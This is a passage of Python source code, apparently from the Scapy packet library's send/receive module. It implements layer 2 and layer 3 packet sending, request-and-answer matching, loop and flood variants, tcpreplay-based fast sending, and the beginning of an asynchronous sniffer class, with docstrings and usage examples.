of _sndrcv_rcv\n                # _sndrcv_rcv won't miss the answer of a packet that\n                # has not been sent\n                self.hsent.setdefault(p.hashret(), []).append(p)\n                # Send packet\n                self.pks.send(p)\n                time.sleep(self.inter)\n                if self.breakout.is_set():\n                    break\n                i += 1\n            if self.verbose:\n                os.write(1, b\"\\nFinished sending %i packets\\n\" % i)\n        except SystemExit:\n            pass\n        except Exception:\n            if self.chainEX:\n                raise\n            else:\n                log_runtime.exception(\"--- Error sending packets\")\n        finally:\n            try:\n                cast(Packet, self.tobesent).sent_time = \\\n                    cast(Packet, p).sent_time\n            except AttributeError:\n                pass\n            if self._flood:\n                self.notans = self._flood.iterlen\n            elif not self._send_done:\n                self.notans = i\n            self._send_done = True\n        self._stop_sniffer_if_done()\n        # In threaded mode, timeout\n        if self.threaded and self.timeout is not None and not self.breakout.is_set():\n            self.breakout.wait(timeout=self.timeout)\n            if self.sniffer and self.sniffer.running:\n                self.sniffer.stop()\n\n    def _process_packet(self, r):\n        # type: (Packet) -> None\n        \"\"\"Internal function used to process each packet.\"\"\"\n        if r is None:\n            return\n        ok = False\n        h = r.hashret()\n        if h in self.hsent:\n            hlst = self.hsent[h]\n            for i, sentpkt in enumerate(hlst):\n                if r.answers(sentpkt):\n                    self.ans.append(QueryAnswer(sentpkt, r))\n                    if self.verbose > 1:\n                        os.write(1, b\"*\")\n                    ok = True\n                    if not self.multi:\n                        del hlst[i]\n                        self.noans += 1\n                    else:\n                        if not hasattr(sentpkt, '_answered'):\n                            self.noans += 1\n                        sentpkt._answered = 1\n                    break\n        self._stop_sniffer_if_done()\n        if not ok:\n            if self.verbose > 1:\n                os.write(1, b\".\")\n            self.nbrecv += 1\n            if conf.debug_match:\n                debug.recv.append(r)\n\n    def _sndrcv_rcv(self, callback):\n        # type: (Callable[[], None]) -> None\n        \"\"\"Function used to receive packets and check their hashret\"\"\"\n        # This is blocking.\n        self.sniffer = None  # type: Optional[AsyncSniffer]\n        self.sniffer = AsyncSniffer()\n        self.sniffer._run(\n            prn=self._process_packet,\n            timeout=None if self.threaded and not self._flood else self.timeout,\n            store=False,\n            opened_socket=self.rcv_pks,\n            session=self.session,\n            stop_filter=self.stop_filter,\n            started_callback=callback,\n            chainCC=True,\n        )\n\n\ndef sndrcv(*args, **kwargs):\n    # type: (*Any, **Any) -> Tuple[SndRcvList, PacketList]\n    \"\"\"Scapy raw function to send a packet and receive its answer.\n    WARNING: This is an internal function. Using sr/srp/sr1/srp is\n    more appropriate in many cases.\n    \"\"\"\n    sndrcver = SndRcvHandler(*args, **kwargs)\n    return sndrcver.results()\n\n\ndef __gen_send(s,  # type: SuperSocket\n               x,  # type: _PacketIterable\n               inter=0,  # type: int\n               loop=0,  # type: int\n               count=None,  # type: Optional[int]\n               verbose=None,  # type: Optional[int]\n               realtime=False,  # type: bool\n               return_packets=False,  # type: bool\n               *args,  # type: Any\n               **kargs  # type: Any\n               ):\n    # type: (...) -> Optional[PacketList]\n    \"\"\"\n    An internal function used by send/sendp to actually send the packets,\n    implement the send logic...\n\n    It will take care of iterating through the different packets\n    \"\"\"\n    if isinstance(x, str):\n        x = conf.raw_layer(load=x)\n    if not isinstance(x, Gen):\n        x = SetGen(x)\n    if verbose is None:\n        verbose = conf.verb\n    n = 0\n    if count is not None:\n        loop = -count\n    elif not loop:\n        loop = -1\n    sent_packets = PacketList() if return_packets else None\n    p = None\n    try:\n        while loop:\n            dt0 = None\n            for p in x:\n                if realtime:\n                    ct = time.time()\n                    if dt0:\n                        st = dt0 + float(p.time) - ct\n                        if st > 0:\n                            time.sleep(st)\n                    else:\n                        dt0 = ct - float(p.time)\n                s.send(p)\n                if sent_packets is not None:\n                    sent_packets.append(p)\n                n += 1\n                if verbose:\n                    os.write(1, b\".\")\n                time.sleep(inter)\n            if loop < 0:\n                loop += 1\n    except KeyboardInterrupt:\n        pass\n    finally:\n        try:\n            cast(Packet, x).sent_time = cast(Packet, p).sent_time\n        except AttributeError:\n            pass\n    if verbose:\n        print(\"\\nSent %i packets.\" % n)\n    return sent_packets\n\n\ndef _send(x,  # type: _PacketIterable\n          _func,  # type: Callable[[NetworkInterface], Type[SuperSocket]]\n          inter=0,  # type: int\n          loop=0,  # type: int\n          iface=None,  # type: Optional[_GlobInterfaceType]\n          count=None,  # type: Optional[int]\n          verbose=None,  # type: Optional[int]\n          realtime=False,  # type: bool\n          return_packets=False,  # type: bool\n          socket=None,  # type: Optional[SuperSocket]\n          **kargs  # type: Any\n          ):\n    # type: (...) -> Optional[PacketList]\n    \"\"\"Internal function used by send and sendp\"\"\"\n    need_closing = socket is None\n    iface = resolve_iface(iface or conf.iface)\n    socket = socket or _func(iface)(iface=iface, **kargs)\n    results = __gen_send(socket, x, inter=inter, loop=loop,\n                         count=count, verbose=verbose,\n                         realtime=realtime, return_packets=return_packets)\n    if need_closing:\n        socket.close()\n    return results\n\n\n@conf.commands.register\ndef send(x,  # type: _PacketIterable\n         **kargs  # type: Any\n         ):\n    # type: (...) -> Optional[PacketList]\n    \"\"\"\n    Send packets at layer 3\n\n    This determines the interface (or L2 source to use) based on the routing\n    table: conf.route / conf.route6\n\n    :param x: the packets\n    :param inter: time (in s) between two packets (default 0)\n    :param loop: send packet indefinitely (default 0)\n    :param count: number of packets to send (default None=1)\n    :param verbose: verbose mode (default None=conf.verb)\n    :param realtime: check that a packet was sent before sending the next one\n    :param return_packets: return the sent packets\n    :param socket: the socket to use (default is conf.L3socket(kargs))\n    :param monitor: (not on linux) send in monitor mode\n    :returns: None\n    \"\"\"\n    if \"iface\" in kargs:\n        # Warn that it isn't used.\n        warnings.warn(\n            \"'iface' has no effect on L3 I/O send(). For multicast/link-local \"\n            \"see https://scapy.readthedocs.io/en/latest/usage.html#multicast\",\n            SyntaxWarning,\n        )\n        del kargs[\"iface\"]\n    iface, ipv6 = _interface_selection(x)\n    return _send(\n        x,\n        lambda iface: iface.l3socket(ipv6),\n        iface=iface,\n        **kargs\n    )\n\n\n@conf.commands.register\ndef sendp(x,  # type: _PacketIterable\n          iface=None,  # type: Optional[_GlobInterfaceType]\n          iface_hint=None,  # type: Optional[str]\n          socket=None,  # type: Optional[SuperSocket]\n          **kargs  # type: Any\n          ):\n    # type: (...) -> Optional[PacketList]\n    \"\"\"\n    Send packets at layer 2\n\n    :param x: the packets\n    :param inter: time (in s) between two packets (default 0)\n    :param loop: send packet indefinitely (default 0)\n    :param count: number of packets to send (default None=1)\n    :param verbose: verbose mode (default None=conf.verb)\n    :param realtime: check that a packet was sent before sending the next one\n    :param return_packets: return the sent packets\n    :param socket: the socket to use (default is conf.L3socket(kargs))\n    :param iface: the interface to send the packets on\n    :param monitor: (not on linux) send in monitor mode\n    :returns: None\n    \"\"\"\n    if iface is None and iface_hint is not None and socket is None:\n        iface = conf.route.route(iface_hint)[0]\n    return _send(\n        x,\n        lambda iface: iface.l2socket(),\n        iface=iface,\n        socket=socket,\n        **kargs\n    )\n\n\n@conf.commands.register\ndef sendpfast(x: _PacketIterable,\n              pps: Optional[float] = None,\n              mbps: Optional[float] = None,\n              realtime: bool = False,\n              count: Optional[int] = None,\n              loop: int = 0,\n              file_cache: bool = False,\n              iface: Optional[_GlobInterfaceType] = None,\n              replay_args: Optional[List[str]] = None,\n              parse_results: bool = False,\n              ):\n    # type: (...) -> Optional[Dict[str, Any]]\n    \"\"\"Send packets at layer 2 using tcpreplay for performance\n\n    :param pps:  packets per second\n    :param mbps: MBits per second\n    :param realtime: use packet's timestamp, bending time with real-time value\n    :param loop: send the packet indefinitely (default 0)\n    :param count: number of packets to send (default None=1)\n    :param file_cache: cache packets in RAM instead of reading from\n        disk at each iteration\n    :param iface: output interface\n    :param replay_args: List of additional tcpreplay args (List[str])\n    :param parse_results: Return a dictionary of information\n        outputted by tcpreplay (default=False)\n    :returns: stdout, stderr, command used\n    \"\"\"\n    if iface is None:\n        iface = conf.iface\n    argv = [conf.prog.tcpreplay, \"--intf1=%s\" % network_name(iface)]\n    if pps is not None:\n        argv.append(\"--pps=%f\" % pps)\n    elif mbps is not None:\n        argv.append(\"--mbps=%f\" % mbps)\n    elif realtime is not None:\n        argv.append(\"--multiplier=%f\" % realtime)\n    else:\n        argv.append(\"--topspeed\")\n\n    if count:\n        assert not loop, \"Can't use loop and count at the same time in sendpfast\"\n        argv.append(\"--loop=%i\" % count)\n    elif loop:\n        argv.append(\"--loop=0\")\n    if file_cache:\n        argv.append(\"--preload-pcap\")\n\n    # Check for any additional args we didn't cover.\n    if replay_args is not None:\n        argv.extend(replay_args)\n\n    f = get_temp_file()\n    argv.append(f)\n    wrpcap(f, x)\n    results = None\n    with ContextManagerSubprocess(conf.prog.tcpreplay):\n        try:\n            cmd = subprocess.Popen(argv, stdout=subprocess.PIPE,\n                                   stderr=subprocess.PIPE)\n            cmd.wait()\n        except KeyboardInterrupt:\n            if cmd:\n                cmd.terminate()\n            log_interactive.info(\"Interrupted by user\")\n        except Exception:\n            os.unlink(f)\n            raise\n        finally:\n            stdout, stderr = cmd.communicate()\n            if stderr:\n                log_runtime.warning(stderr.decode())\n            if parse_results:\n                results = _parse_tcpreplay_result(stdout, stderr, argv)\n            elif conf.verb > 2:\n                log_runtime.info(stdout.decode())\n    if os.path.exists(f):\n        os.unlink(f)\n    return results\n\n\ndef _parse_tcpreplay_result(stdout_b, stderr_b, argv):\n    # type: (bytes, bytes, List[str]) -> Dict[str, Any]\n    \"\"\"\n    Parse the output of tcpreplay and modify the results_dict to populate output information.  # noqa: E501\n    Tested with tcpreplay v3.4.4\n    Tested with tcpreplay v4.1.2\n    :param stdout: stdout of tcpreplay subprocess call\n    :param stderr: stderr of tcpreplay subprocess call\n    :param argv: the command used in the subprocess call\n    :return: dictionary containing the results\n    \"\"\"\n    try:\n        results = {}\n        stdout = plain_str(stdout_b).lower()\n        stderr = plain_str(stderr_b).strip().split(\"\\n\")\n        elements = {\n            \"actual\": (int, int, float),\n            \"rated\": (float, float, float),\n            \"flows\": (int, float, int, int),\n            \"attempted\": (int,),\n            \"successful\": (int,),\n            \"failed\": (int,),\n            \"truncated\": (int,),\n            \"retried packets (eno\": (int,),\n            \"retried packets (eag\": (int,),\n        }\n        multi = {\n            \"actual\": (\"packets\", \"bytes\", \"time\"),\n            \"rated\": (\"bps\", \"mbps\", \"pps\"),\n            \"flows\": (\"flows\", \"fps\", \"flow_packets\", \"non_flow\"),\n            \"retried packets (eno\": (\"retried_enobufs\",),\n            \"retried packets (eag\": (\"retried_eagain\",),\n        }\n        float_reg = r\"([0-9]*\\.[0-9]+|[0-9]+)\"\n        int_reg = r\"([0-9]+)\"\n        any_reg = r\"[^0-9]*\"\n        r_types = {int: int_reg, float: float_reg}\n        for line in stdout.split(\"\\n\"):\n            line = line.strip()\n            for elt, _types in elements.items():\n                if line.startswith(elt):\n                    regex = any_reg.join([r_types[x] for x in _types])\n                    matches = re.search(regex, line)\n                    for i, typ in enumerate(_types):\n                        name = multi.get(elt, [elt])[i]\n                        if matches:\n                            results[name] = typ(matches.group(i + 1))\n        results[\"command\"] = \" \".join(argv)\n        results[\"warnings\"] = stderr[:-1]\n        return results\n    except Exception as parse_exception:\n        if not conf.interactive:\n            raise\n        log_runtime.error(\"Error parsing output: %s\", parse_exception)\n        return {}\n\n\ndef _interface_selection(packet: _PacketIterable) -> Tuple[NetworkInterface, bool]:\n    \"\"\"\n    Select the network interface according to the layer 3 destination\n    \"\"\"\n    _iff, src, _ = next(packet.__iter__()).route()\n    ipv6 = False\n    if src:\n        try:\n            inet_pton(socket.AF_INET6, src)\n            ipv6 = True\n        except (ValueError, OSError):\n            pass\n    try:\n        iff = resolve_iface(_iff or conf.iface)\n    except AttributeError:\n        iff = None\n    return iff or conf.iface, ipv6\n\n\n@conf.commands.register\ndef sr(x,  # type: _PacketIterable\n       promisc=None,  # type: Optional[bool]\n       filter=None,  # type: Optional[str]\n       nofilter=0,  # type: int\n       *args,  # type: Any\n       **kargs  # type: Any\n       ):\n    # type: (...) -> Tuple[SndRcvList, PacketList]\n    \"\"\"\n    Send and receive packets at layer 3\n\n    This determines the interface (or L2 source to use) based on the routing\n    table: conf.route / conf.route6\n    \"\"\"\n    if \"iface\" in kargs:\n        # Warn that it isn't used.\n        warnings.warn(\n            \"'iface' has no effect on L3 I/O sr(). For multicast/link-local \"\n            \"see https://scapy.readthedocs.io/en/latest/usage.html#multicast\",\n            SyntaxWarning,\n        )\n        del kargs[\"iface\"]\n    iface, ipv6 = _interface_selection(x)\n    s = iface.l3socket(ipv6)(\n        promisc=promisc, filter=filter,\n        iface=iface, nofilter=nofilter,\n    )\n    result = sndrcv(s, x, *args, **kargs)\n    s.close()\n    return result\n\n\n@conf.commands.register\ndef sr1(*args, **kargs):\n    # type: (*Any, **Any) -> Optional[Packet]\n    \"\"\"\n    Send packets at layer 3 and return only the first answer\n\n    This determines the interface (or L2 source to use) based on the routing\n    table: conf.route / conf.route6\n    \"\"\"\n    if \"iface\" in kargs:\n        # Warn that it isn't used.\n        warnings.warn(\n            \"'iface' has no effect on L3 I/O sr1(). For multicast/link-local \"\n            \"see https://scapy.readthedocs.io/en/latest/usage.html#multicast\",\n            SyntaxWarning,\n        )\n        del kargs[\"iface\"]\n    ans, _ = sr(*args, **kargs)\n    if ans:\n        return cast(Packet, ans[0][1])\n    return None\n\n\n@conf.commands.register\ndef srp(x,  # type: _PacketIterable\n        promisc=None,  # type: Optional[bool]\n        iface=None,  # type: Optional[_GlobInterfaceType]\n        iface_hint=None,  # type: Optional[str]\n        filter=None,  # type: Optional[str]\n        nofilter=0,  # type: int\n        type=ETH_P_ALL,  # type: int\n        *args,  # type: Any\n        **kargs  # type: Any\n        ):\n    # type: (...) -> Tuple[SndRcvList, PacketList]\n    \"\"\"\n    Send and receive packets at layer 2\n    \"\"\"\n    if iface is None and iface_hint is not None:\n        iface = conf.route.route(iface_hint)[0]\n    iface = resolve_iface(iface or conf.iface)\n    s = iface.l2socket()(promisc=promisc, iface=iface,\n                         filter=filter, nofilter=nofilter, type=type)\n    result = sndrcv(s, x, *args, **kargs)\n    s.close()\n    return result\n\n\n@conf.commands.register\ndef srp1(*args, **kargs):\n    # type: (*Any, **Any) -> Optional[Packet]\n    \"\"\"\n    Send and receive packets at layer 2 and return only the first answer\n    \"\"\"\n    ans, _ = srp(*args, **kargs)\n    if len(ans) > 0:\n        return cast(Packet, ans[0][1])\n    return None\n\n\n# Append doc\nfor sr_func in [srp, srp1, sr, sr1]:\n    if sr_func.__doc__ is not None:\n        sr_func.__doc__ += _DOC_SNDRCV_PARAMS\n\n\n# SEND/RECV LOOP METHODS\n\n\ndef __sr_loop(srfunc,  # type: Callable[..., Tuple[SndRcvList, PacketList]]\n              pkts,  # type: _PacketIterable\n              prn=lambda x: x[1].summary(),  # type: Optional[Callable[[QueryAnswer], Any]]  # noqa: E501\n              prnfail=lambda x: x.summary(),  # type: Optional[Callable[[Packet], Any]]\n              inter=1,  # type: int\n              timeout=None,  # type: Optional[int]\n              count=None,  # type: Optional[int]\n              verbose=None,  # type: Optional[int]\n              store=1,  # type: int\n              *args,  # type: Any\n              **kargs  # type: Any\n              ):\n    # type: (...) -> Tuple[SndRcvList, PacketList]\n    n = 0\n    r = 0\n    ct = conf.color_theme\n    if verbose is None:\n        verbose = conf.verb\n    parity = 0\n    ans = []  # type: List[QueryAnswer]\n    unans = []  # type: List[Packet]\n    if timeout is None:\n        timeout = min(2 * inter, 5)\n    try:\n        while True:\n            parity ^= 1\n            col = [ct.even, ct.odd][parity]\n            if count is not None:\n                if count == 0:\n                    break\n                count -= 1\n            start = time.monotonic()\n            if verbose > 1:\n                print(\"\\rsend...\\r\", end=' ')\n            res = srfunc(pkts, timeout=timeout, verbose=0, chainCC=True, *args, **kargs)  # noqa: E501\n            n += len(res[0]) + len(res[1])\n            r += len(res[0])\n            if verbose > 1 and prn and len(res[0]) > 0:\n                msg = \"RECV %i:\" % len(res[0])\n                print(\"\\r\" + ct.success(msg), end=' ')\n                for rcv in res[0]:\n                    print(col(prn(rcv)))\n                    print(\" \" * len(msg), end=' ')\n            if verbose > 1 and prnfail and len(res[1]) > 0:\n                msg = \"fail %i:\" % len(res[1])\n                print(\"\\r\" + ct.fail(msg), end=' ')\n                for fail in res[1]:\n                    print(col(prnfail(fail)))\n                    print(\" \" * len(msg), end=' ')\n            if verbose > 1 and not (prn or prnfail):\n                print(\"recv:%i  fail:%i\" % tuple(\n                    map(len, res[:2])  # type: ignore\n                ))\n            if verbose == 1:\n                if res[0]:\n                    os.write(1, b\"*\")\n                if res[1]:\n                    os.write(1, b\".\")\n            if store:\n                ans += res[0]\n                unans += res[1]\n            end = time.monotonic()\n            if end - start < inter:\n                time.sleep(inter + start - end)\n    except KeyboardInterrupt:\n        pass\n\n    if verbose and n > 0:\n        print(ct.normal(\"\\nSent %i packets, received %i packets. %3.1f%% hits.\" % (n, r, 100.0 * r / n)))  # noqa: E501\n    return SndRcvList(ans), PacketList(unans)\n\n\n@conf.commands.register\ndef srloop(pkts,  # type: _PacketIterable\n           *args,  # type: Any\n           **kargs  # type: Any\n           ):\n    # type: (...) -> Tuple[SndRcvList, PacketList]\n    \"\"\"\n    Send a packet at layer 3 in loop and print the answer each time\n    srloop(pkts, [prn], [inter], [count], ...) --> None\n    \"\"\"\n    return __sr_loop(sr, pkts, *args, **kargs)\n\n\n@conf.commands.register\ndef srploop(pkts,  # type: _PacketIterable\n            *args,  # type: Any\n            **kargs  # type: Any\n            ):\n    # type: (...) -> Tuple[SndRcvList, PacketList]\n    \"\"\"\n    Send a packet at layer 2 in loop and print the answer each time\n    srloop(pkts, [prn], [inter], [count], ...) --> None\n    \"\"\"\n    return __sr_loop(srp, pkts, *args, **kargs)\n\n# SEND/RECV FLOOD METHODS\n\n\nclass _FloodGenerator(object):\n    def __init__(self, tobesent, maxretries):\n        # type: (_PacketIterable, Optional[int]) -> None\n        self.tobesent = tobesent\n        self.maxretries = maxretries\n        self.stopevent = Event()\n        self.iterlen = 0\n\n    def __iter__(self):\n        # type: () -> Iterator[Packet]\n        i = 0\n        while True:\n            i += 1\n            j = 0\n            if self.maxretries and i >= self.maxretries:\n                return\n            for p in self.tobesent:\n                if self.stopevent.is_set():\n                    return\n                j += 1\n                yield p\n            if self.iterlen == 0:\n                self.iterlen = j\n\n    @property\n    def sent_time(self):\n        # type: () -> Union[EDecimal, float, None]\n        return cast(Packet, self.tobesent).sent_time\n\n    @sent_time.setter\n    def sent_time(self, val):\n        # type: (Union[EDecimal, float, None]) -> None\n        cast(Packet, self.tobesent).sent_time = val\n\n    def stop(self):\n        # type: () -> None\n        self.stopevent.set()\n\n\ndef sndrcvflood(pks,  # type: SuperSocket\n                pkt,  # type: _PacketIterable\n                inter=0,  # type: int\n                maxretries=None,  # type: Optional[int]\n                verbose=None,  # type: Optional[int]\n                chainCC=False,  # type: bool\n                timeout=None  # type: Optional[int]\n                ):\n    # type: (...) -> Tuple[SndRcvList, PacketList]\n    \"\"\"sndrcv equivalent for flooding.\"\"\"\n\n    flood_gen = _FloodGenerator(pkt, maxretries)\n    return sndrcv(\n        pks, flood_gen,\n        inter=inter, verbose=verbose,\n        chainCC=chainCC, timeout=timeout,\n        _flood=flood_gen\n    )\n\n\n@conf.commands.register\ndef srflood(x,  # type: _PacketIterable\n            promisc=None,  # type: Optional[bool]\n            filter=None,  # type: Optional[str]\n            iface=None,  # type: Optional[_GlobInterfaceType]\n            nofilter=None,  # type: Optional[bool]\n            *args,  # type: Any\n            **kargs  # type: Any\n            ):\n    # type: (...) -> Tuple[SndRcvList, PacketList]\n    \"\"\"Flood and receive packets at layer 3\n\n    This determines the interface (or L2 source to use) based on the routing\n    table: conf.route / conf.route6\n\n    :param prn:      function applied to packets received\n    :param unique:   only consider packets whose print\n    :param nofilter: put 1 to avoid use of BPF filters\n    :param filter:   provide a BPF filter\n    \"\"\"\n    if \"iface\" in kargs:\n        # Warn that it isn't used.\n        warnings.warn(\n            \"'iface' has no effect on L3 I/O srflood(). For multicast/link-local \"\n            \"see https://scapy.readthedocs.io/en/latest/usage.html#multicast\",\n            SyntaxWarning,\n        )\n        del kargs[\"iface\"]\n    iface, ipv6 = _interface_selection(x)\n    s = iface.l3socket(ipv6)(\n        promisc=promisc, filter=filter,\n        iface=iface, nofilter=nofilter,\n    )\n    r = sndrcvflood(s, x, *args, **kargs)\n    s.close()\n    return r\n\n\n@conf.commands.register\ndef sr1flood(x,  # type: _PacketIterable\n             promisc=None,  # type: Optional[bool]\n             filter=None,  # type: Optional[str]\n             nofilter=0,  # type: int\n             *args,  # type: Any\n             **kargs  # type: Any\n             ):\n    # type: (...) -> Optional[Packet]\n    \"\"\"Flood and receive packets at layer 3 and return only the first answer\n\n    This determines the interface (or L2 source to use) based on the routing\n    table: conf.route / conf.route6\n\n    :param prn:      function applied to packets received\n    :param verbose:  set verbosity level\n    :param nofilter: put 1 to avoid use of BPF filters\n    :param filter:   provide a BPF filter\n    :param iface:    listen answers only on the given interface\n    \"\"\"\n    if \"iface\" in kargs:\n        # Warn that it isn't used.\n        warnings.warn(\n            \"'iface' has no effect on L3 I/O sr1flood(). For multicast/link-local \"\n            \"see https://scapy.readthedocs.io/en/latest/usage.html#multicast\",\n            SyntaxWarning,\n        )\n        del kargs[\"iface\"]\n    iface, ipv6 = _interface_selection(x)\n    s = iface.l3socket(ipv6)(\n        promisc=promisc, filter=filter,\n        nofilter=nofilter, iface=iface,\n    )\n    ans, _ = sndrcvflood(s, x, *args, **kargs)\n    s.close()\n    if len(ans) > 0:\n        return cast(Packet, ans[0][1])\n    return None\n\n\n@conf.commands.register\ndef srpflood(x,  # type: _PacketIterable\n             promisc=None,  # type: Optional[bool]\n             filter=None,  # type: Optional[str]\n             iface=None,  # type: Optional[_GlobInterfaceType]\n             iface_hint=None,  # type: Optional[str]\n             nofilter=None,  # type: Optional[bool]\n             *args,  # type: Any\n             **kargs  # type: Any\n             ):\n    # type: (...) -> Tuple[SndRcvList, PacketList]\n    \"\"\"Flood and receive packets at layer 2\n\n    :param prn:      function applied to packets received\n    :param unique:   only consider packets whose print\n    :param nofilter: put 1 to avoid use of BPF filters\n    :param filter:   provide a BPF filter\n    :param iface:    listen answers only on the given interface\n    \"\"\"\n    if iface is None and iface_hint is not None:\n        iface = conf.route.route(iface_hint)[0]\n    iface = resolve_iface(iface or conf.iface)\n    s = iface.l2socket()(promisc=promisc, filter=filter, iface=iface, nofilter=nofilter)  # noqa: E501\n    r = sndrcvflood(s, x, *args, **kargs)\n    s.close()\n    return r\n\n\n@conf.commands.register\ndef srp1flood(x,  # type: _PacketIterable\n              promisc=None,  # type: Optional[bool]\n              filter=None,  # type: Optional[str]\n              iface=None,  # type: Optional[_GlobInterfaceType]\n              nofilter=0,  # type: int\n              *args,  # type: Any\n              **kargs  # type: Any\n              ):\n    # type: (...) -> Optional[Packet]\n    \"\"\"Flood and receive packets at layer 2 and return only the first answer\n\n    :param prn:      function applied to packets received\n    :param verbose:  set verbosity level\n    :param nofilter: put 1 to avoid use of BPF filters\n    :param filter:   provide a BPF filter\n    :param iface:    listen answers only on the given interface\n    \"\"\"\n    iface = resolve_iface(iface or conf.iface)\n    s = iface.l2socket()(promisc=promisc, filter=filter, nofilter=nofilter, iface=iface)  # noqa: E501\n    ans, _ = sndrcvflood(s, x, *args, **kargs)\n    s.close()\n    if len(ans) > 0:\n        return cast(Packet, ans[0][1])\n    return None\n\n# SNIFF METHODS\n\n\nclass AsyncSniffer(object):\n    \"\"\"\n    Sniff packets and return a list of packets.\n\n    Args:\n        count: number of packets to capture. 0 means infinity.\n        store: whether to store sniffed packets or discard them\n        prn: function to apply to each packet. If something is returned, it\n             is displayed.\n             --Ex: prn = lambda x: x.summary()\n        session: a session = a flow decoder used to handle stream of packets.\n                 --Ex: session=TCPSession\n                 See below for more details.\n        filter: BPF filter to apply.\n        lfilter: Python function applied to each packet to determine if\n                 further action may be done.\n                 --Ex: lfilter = lambda x: x.haslayer(Padding)\n        offline: PCAP file (or list of PCAP files) to read packets from,\n                 instead of sniffing them\n        quiet:   when set to True, the process stderr is discarded\n                 (default: False).\n        timeout: stop sniffing after a given time (default: None).\n        L2socket: use the provided L2socket (default: use conf.L2listen).\n        opened_socket: provide an object (or a list of objects) ready to use\n                      .recv() on.\n        stop_filter: Python function applied to each packet to determine if\n                     we have to stop the capture after this packet.\n                     --Ex: stop_filter = lambda x: x.haslayer(TCP)\n        iface: interface or list of interfaces (default: None for sniffing\n               on the default interface).\n        monitor: use monitor mode. May not be available on all OS\n        started_callback: called as soon as the sniffer starts sniffing\n                          (default: None).\n\n    The iface, offline and opened_socket parameters can be either an\n    element, a list of elements, or a dict object mapping an element to a\n    label (see examples below).\n\n    For more information about the session argument, see\n    https://scapy.rtfd.io/en/latest/usage.html#advanced-sniffing-sniffing-sessions\n\n    Examples: synchronous\n      >>> sniff(filter=\"arp\")\n      >>> sniff(filter=\"tcp\",\n      ...       session=IPSession,  # defragment on-the-flow\n      ...       prn=lambda x: x.summary())\n      >>> sniff(lfilter=lambda pkt: ARP in pkt)\n      >>> sniff(iface=\"eth0\", prn=Packet.summary)\n      >>> sniff(iface=[\"eth0\", \"mon0\"],\n      ...       prn=lambda pkt: \"%s: %s\" % (pkt.sniffed_on,\n      ...                                   pkt.summary()))\n      >>> sniff(iface={\"eth0\": \"Ethernet\", \"mon0\": \"Wifi\"},\n      ...       prn=lambda pkt: \"%s: %s\" % (pkt.sniffed_on,\n      ...                                   pkt.summary()))\n\n    Examples: asynchronous\n      >>> t = AsyncSniffer(iface=\"enp0s3\")\n      >>> t.start()\n      >>> time.sleep(1)\n      >>> print(\"nice weather today\")\n      >>> t.stop()\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        # type: (*Any, **Any) -> None\n        # Store keyword arguments\n        self.args = args\n        self.kwargs = kwargs\n        self.running = False\n        self.thread = None  # type: Optional[Thread]\n        self.results = None  # type: Optional[PacketList]\n        self.exception = None  # type: Optional[Exception]\n        self.stop_cb = lambda: None  # type: Callable[[], None]\n\n    def _setup_thread(self):\n        # type: () -> None\n        def _run_catch(self=self, *args, **kwargs):\n            # type: (Any, *Any, **Any) -> None\n            try:\n                self._run(*args, **kwargs)\n            except Exception as ex:\n                self.exception = ex\n        # Prepare sniffing thread\n        self.thread = Thread(\n            target=_run_catch,\n            args=self.args,\n            kwargs=self.kwargs,\n            name=\"AsyncSniffer\"\n        )\n        self.thread.daemon = True\n\n    def _run(self,\n             count=0,  # type: int\n             store=True,  # type: bool\n             offline=None,  # type: Any\n             quiet=False,  # type: bool\n             prn=None,  # type: Optional[Callable[[Packet], Any]]\n             lfilter=None,  # type: Optional[Callable[[Packet], bool]]\n             L2socket=None,  # type: Optional[Type[SuperSocket]]\n             timeout=None,  # type: Optional[int]\n             opened_socket=None,  # type: Optional[SuperSocket]\n             stop_filter=None,  # type: Optional[Callable[[Packet], bool]]\n             iface=None,  # type: Optional[_GlobInterfaceType]\n             started_callback=None,  # type: Optional[Callable[[], Any]]\n             session=None,  # type: Optional[_GlobSessionType]\n             chainCC=False,  # type: bool\n             **karg  # type: Any\n             ):\n        # type: (...) -> None\n        self.running = True\n        self.count = 0\n        lst = []\n        # Start main thread\n        # instantiate session\n        if not isinstance(session, DefaultSession):\n            session = session or DefaultSession\n            session = session()\n        # sniff_sockets follows: {socket: label}\n        sniff_sockets = {}  # type: Dict[SuperSocket, _GlobInterfaceType]\n        if opened_socket is not None:\n            if isinstance(opened_socket, list):\n                sniff_sockets.update(\n                    (s, \"socket%d\" % i)\n                    for i, s in enumerate(opened_socket)\n                )\n            elif isinstance(opened_socket, dict):\n                sniff_sockets.update(\n                    (s, label)\n                    for s, label in opened_socket.items()\n                )\n            else:\n                sniff_sockets[opened_socket] = \"socket0\"\n        if offline is not None:\n            flt = karg.get('filter')\n\n            if isinstance(offline, str):\n                # Single file\n                offline = [offline]\n            if isinstance(offline, list) and \\\n                    all(isinstance(elt, str) for elt in offline):\n                # List of files\n                sniff_sockets.update((PcapReader(  # type: ignore\n                    fname if flt is None else\n                    tcpdump(fname,\n                            args=[\"-w\", \"-\"],\n                            flt=flt,\n                            getfd=True,\n                            quiet=quiet)\n                ), fname) for fname in offline)\n            elif isinstance(offline, dict):\n                # Dict of files\n                sniff_sockets.update((PcapReader(  # type: ignore\n                    fname if flt is None else\n                    tcpdump(fname,\n                            args=[\"-w\", \"-\"],\n                            flt=flt,\n                            getfd=True,\n                            quiet=quiet)\n                ), label) for fname, label in offline.items())\n            elif isinstance(offline, (Packet, PacketList, list)):\n                # Iterables (list of packets, PacketList..)\n                offline = IterSocket(offline)\n                sniff_sockets[offline if flt is None else PcapReader(\n                    tcpdump(offline,\n                            args=[\"-w\", \"-\"],\n                            flt=flt,\n                            getfd=True,\n                            quiet=quiet)\n                )] = offline\n            else:\n                # Other (file descriptors...)\n                sniff_sockets[PcapReader(  # type: ignore\n                    offline if flt is None else\n                    tcpdump(offline,\n                            args=[\"-w\", \"-\"],\n                            flt=flt,\n                            getfd=True,\n                            quiet=quiet)\n                )] = offline\n        if not sniff_sockets or iface is not None:\n            # The _RL2 function resolves the L2socket of an iface\n            _RL2 = lambda i: L2socket or resolve_iface(i).l2listen()  # type: Callable[[_GlobInterfaceType], Callable[..., SuperSocket]]  # noqa: E501\n            if isinstance(iface, list):\n                sniff_sockets.update(\n                    (_RL2(ifname)(type=ETH_P_ALL, iface=ifname, **karg),\n                     ifname)\n                    for ifname in iface\n                )\n            elif isinstance(iface, dict):\n                sniff_sockets.update(\n                    (_RL2(ifname)(type=ETH_P_ALL, iface=ifname, **karg),\n                     iflabel)\n                    for ifname, iflabel in iface.items()\n                )\n            else:\n                iface = iface or conf.iface\n                